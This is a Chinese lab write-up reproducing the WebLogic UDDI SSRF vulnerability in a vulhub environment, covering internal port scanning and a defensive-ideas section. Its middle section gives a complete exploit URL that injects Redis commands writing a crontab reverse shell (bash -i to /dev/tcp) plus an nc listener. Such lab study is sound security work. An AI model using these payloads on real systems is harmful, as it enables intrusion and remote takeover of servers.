weblogicSSRF漏洞复现
一、关于SSRF
1.1 简介:
SSRF(Server-Side Request Forgery)服务端请求伪造,是一种由攻击者构造形成由服务器端发起请求的一个漏洞,一般情况下,SSRF 攻击的目标是从外网无法访问的内部系统。SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。
1.2 利用SSRF能实现以下效果:
1) 扫描内网(主机信息收集,Web应用指纹识别)
2) 根据所识别应用发送构造的Payload进行攻击
3) Denial of service(请求大文件,始终保持连接Keep-Alive Always)
4) 攻击运行在内外网主机的应用程序
5) 攻击内外网的 Web 应用,主要是使用 GET参数就可以实现的攻击
6) 利用file协议读取本地文件
1.3 可用协议:
FILE : 读取服务器上任意文件内容
IMAP/IMAPS/POP3SMTP/SMTPS : 爆破邮件用户名密码
FTP/FTPS : FTP匿名访问、爆破
DICT :操作内网Redis等服务
GOPHER :能够将所有操作转成数据流,并将数据流一次发出去,可以用来探测内网的所有服务的所有漏洞
TFTP : UDP协议扩展
经常利用: file协议读取本地文件
Gopher协议对内网系统进行post攻击
通过dict协议读取目标服务器端口上运行的服务版本信息
二、SSRF漏洞复现
2.1 环境搭建:
进入 vulhub/weblogic/ssrf 目录下执行
Docker-compose build
Docker-compose up -d
搭建环境需要一些时间,可以继续往下看文章
搭建完成后,访问 http://你的ip:7001/uddiexplorer/SearchPublicRegistries.jsp
(漏洞存在于该页面)出现如下图页面即为搭建成功:

2.2 漏洞测试:
环境:需要一台和SSRF漏洞靶机同网段的主机来模拟内网环境,我用的是kali
SSRF靶机(CentOS7):192.168.124.128
内网主机(Kali):192.168.124.133
探测主机是否存活:
Payload :参数 operator 后输入想探测的IP
http://ip:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://192.168.124.133
出现如下图所示情况出现报错weblogic.uddi.client.structures.exception.XML_SoapException,且根据后面提示此主机存活只是无法连接80端口(即未开放80端口)

同理尝试探测不存在的IP : 提示变为了No route to host

- 访问一个可以访问的ip:port , 一般返回一个状态码,The server at http://ip:7001/ returned a 404 error code (Not Found) 如下图。这是探测本机

还尝试了探测kali上开放的一个端口,提示的是connect reset
之后尝试了nc -lvvp 8000 监听一个端口,发现如下图可以连接,但是weblogic页面一直处于响应中状态没有任何提示 。

也因此,根据这些特点可以进行内网的IP和端口扫描
三、 攻击redis服务器,并利用其反弹shell:
Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入`%0a%0d`来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。
- 查看docker redis服务器的ip:port
Docker ps
Docker exec -it 容器ID ip addr

查看是否可以与redis服务器通信
此报错说明redis服务器开放且可以通信

- 准备攻击代码 :
test set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.124.133/1111 0>&1\n\n\n\n" config set dir /etc/ config set dbfilename crontab save aaa
//此代码大致意思为使靶机向 192.168.124.133:1111的靶机反弹shell
代码里的ip和端口根据自己环境更改,最后将代码进行URL编码:
test%0d%0a%0d%0aset+1+%22%5cn%5cn%5cn%5cn*+*+*+*+*+root+bash+-i+%3e%26+%2fdev%2ftcp%2f192.168.124.133%2f1111+0%3e%261%5cn%5cn%5cn%5cn%22%0d%0aconfig+set+dir+%2fetc%2f%0d%0aconfig+set+dbfilename+crontab%0d%0asave%0d%0a%0d%0aaaa
反弹shell步骤:
① 攻击者kali : 192.168.124.133
监听端口1111:nc -lvvp 1111
② 浏览器地址栏输入下面的攻击代码
http://SSRF靶机ip:端口/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://redis服务器ip:端口/+上面准备好的攻击代码。
比如我的就是:
http://192.168.124.128:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.18.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.124.133%2F2222%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
反弹成功

这里比较奇怪的是,kali并不能直接ping通 redis服务器(172.18.0.2)但是redis服务器可以ping通kali (-l 参数指定源IP) 所以不知道这个连接是怎样搞起来的。
四、SSRF防御思路:
通常有以下5个思路:
1,过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
2, 统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。
3,限制请求的端口为http常用的端口,比如,80,443,8080,8090。
4,黑名单内网ip。避免应用被用来获取获取内网数据,攻击内网。
5,禁用不需要的协议。仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp:// 等引起的问题。
五、参考文章
SSRF漏洞利用扩展(file,gopher,dict协议):https://www.cnblogs.com/flokz/p/ssrf.html
Vulhub关于SSRF漏洞文档:https://github.com/vulhub/vulhub/tree/master/weblogic/ssrf
SSRF攻击实例:https://www.freebuf.com/articles/web/20407.html
Weblogic 漏洞浮现:https://www.jianshu.com/p/cc752eb8deca
weblogicSSRF漏洞复现的更多相关文章
- Weblogic-SSRF漏洞复现
Weblogic-SSRF漏洞复现 一.SSRF概念 服务端请求伪造(Server-Side Request Forgery),是一种有攻击者构造形成有服务端发起请求的一个安全漏洞.一般情况下,SSR ...
- Weblogic-SSRF 漏洞复现
0x01 环境搭建 我这里使用的是vulhub,它几乎包含了所有的漏洞环境.(建议安装在ubuntu上) 有需要的小伙伴来企鹅群自取. 安装好vulhub之后需要cd 到weblogic ssrf 目 ...
- 11.Weblogic-SSRF漏洞复现
应为这一阵正好在学习SSRF漏洞,又苦于本人太菜没有挖到SSRF,只能复现... 先贴出很早之前央视网SSRF可窥探内网(Weblogic SSRF案例):https://www.secpulse.c ...
- ShadowBroker释放的NSA工具中Esteemaudit漏洞复现过程
没有时间测试呢,朋友们都成功复现,放上网盘地址:https://github.com/x0rz/EQGRP 近日臭名昭著的方程式组织工具包再次被公开,TheShadowBrokers在steemit. ...
- 【S2-052】漏洞复现(CVE-2017-9805)
一.漏洞描述 Struts2 的REST插件,如果带有XStream组件,那么在进行反序列化XML请求时,存在未对数据内容进行有效验证的安全隐患,可能发生远程命令执行. 二.受影响版本 Struts2 ...
- markdown反射型xss漏洞复现
markdown xss漏洞复现 转载至橘子师傅:https://blog.orange.tw/2019/03/a-wormable-xss-on-hackmd.html 漏洞成因 最初是看到Hack ...
- WebLogic XMLDecoder反序列化漏洞复现
WebLogic XMLDecoder反序列化漏洞复现 参考链接: https://bbs.ichunqiu.com/thread-31171-1-1.html git clone https://g ...
- Struts2-052 漏洞复现
s2-052漏洞复现 参考链接: http://www.freebuf.com/vuls/147017.html http://www.freebuf.com/vuls/146718.html 漏洞描 ...
- Typecho反序列化导致前台 getshell 漏洞复现
Typecho反序列化导致前台 getshell 漏洞复现 漏洞描述: Typecho是一款快速建博客的程序,外观简洁,应用广泛.这次的漏洞通过install.php安装程序页面的反序列化函数,造成了 ...
随机推荐
- mqtt 集成
-- 在pom.xml导入依赖 <!-- mqtt --> <dependency> <groupId>org.springframework.boot</g ...
- Java实验项目二——猜数游戏
1 /* 2 * Description:定义比较类,实现两个数的比较 3 * 4 * */ 5 6 7 package compare; 8 9 import dao.Operate; 10 11 ...
- java基础---数组的基本概念(1)
学习资源来自尚硅谷java基础学习 1. 数组的概念 数组(Array), 是多个相同类型数据按一定顺序排列的集合, 并使用一个名字命名, 并通过编号的方式对这些数据进行统一管理. 数组属于引用数据类 ...
- python使用笔记29--代码驱动
1 import unittest 2 import requests 3 import jsonpath 4 import time 5 import nnreport 6 7 def get_va ...
- WIN7 WIN10修改path不用重启即可生效
近来安装python scrapy经常忘了添加到path,需要时增加了但需要重启才能起作用,用下面的方法马上能生效: 1修改path:右击"计算机"--高级--环境变量--path ...
- 【记录】如何造一个vite插件(2)
上一篇已经把vite插件的基础结构搭建起来了,这一次就来聊聊继续完善开发环境. 完善开发环境 生成d.ts文件 先来修改一下lib/index.ts这个文件 export interface user ...
- linux U盘安装系统工具usb-creator-gtk
linux平台下U盘安装linux系统的工具.它是ubuntu自带的工具,将建时将覆盖U盘中的所有内容.
- LeetCode通关:听说链表是门槛,这就抬脚跨门而入
分门别类刷算法,坚持,进步! 刷题路线参考:https://github.com/youngyangyang04/leetcode-master https://github.com/ch ...
- Java 批量删除Word中的空白段落
1. 测试文档.期望达到的目标文档效果 用于测试的Word文档如下所示,包含的空白段落影响文章整体布局及美观性: 目标文档效果: 2. 辅助工具 2.1 使用类库:Free Spire.Doc for ...
- 【洛谷P4933 大师】动态规划
题目描述 ljt12138首先建了n个特斯拉电磁塔,这些电塔排成一排,从左到右依次标号为1到n,第i个电塔的高度为h[i]. 建筑大师需要从中选出一些电塔,然后这些电塔就会缩到地下去.这时候,如果留在 ...